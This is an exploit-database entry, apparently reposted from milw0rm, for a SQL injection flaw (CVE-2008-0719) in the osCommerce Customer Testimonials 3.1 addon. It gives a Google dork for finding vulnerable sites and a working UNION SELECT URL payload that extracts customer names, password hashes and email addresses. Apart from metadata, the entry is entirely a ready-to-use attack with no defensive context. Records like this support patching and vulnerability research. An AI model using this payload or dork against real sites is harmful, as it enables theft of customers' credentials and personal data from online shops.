osCommerce Addon Customer Testimonials 3.1 - SQL Injection

Author: it's my
type: webapps
platform: php
port: 
date_added: 2008-02-06
date_updated: 
verified: 1
codes: OSVDB-41116;CVE-2008-0719
tags: 
aliases: 
screenshot_url: 
application_url: 

#########################################################
##
##  osCommerce SQL Injection (customer_testimonials.php)
##
##
##  Author: it's my
##
##  Home page: http://www.antichat.ru
##
#########################################################
##
## Dork: inurl:"customer_testimonials.php"
##
#########################################################

   Exploit:

http://site.com/customer_testimonials.php?testimonial_id=99999+union+select+1,2,concat(customers_lastname,0x3a,customers_password,0x3a,customers_email_address),4,5,6,7,8+from+customers/*

#########################################################
## it's my sick world =/   ####    www.antichat.ru
#########################################################

source: http://addons.oscommerce.com/info/5477

# milw0rm.com [2008-02-07]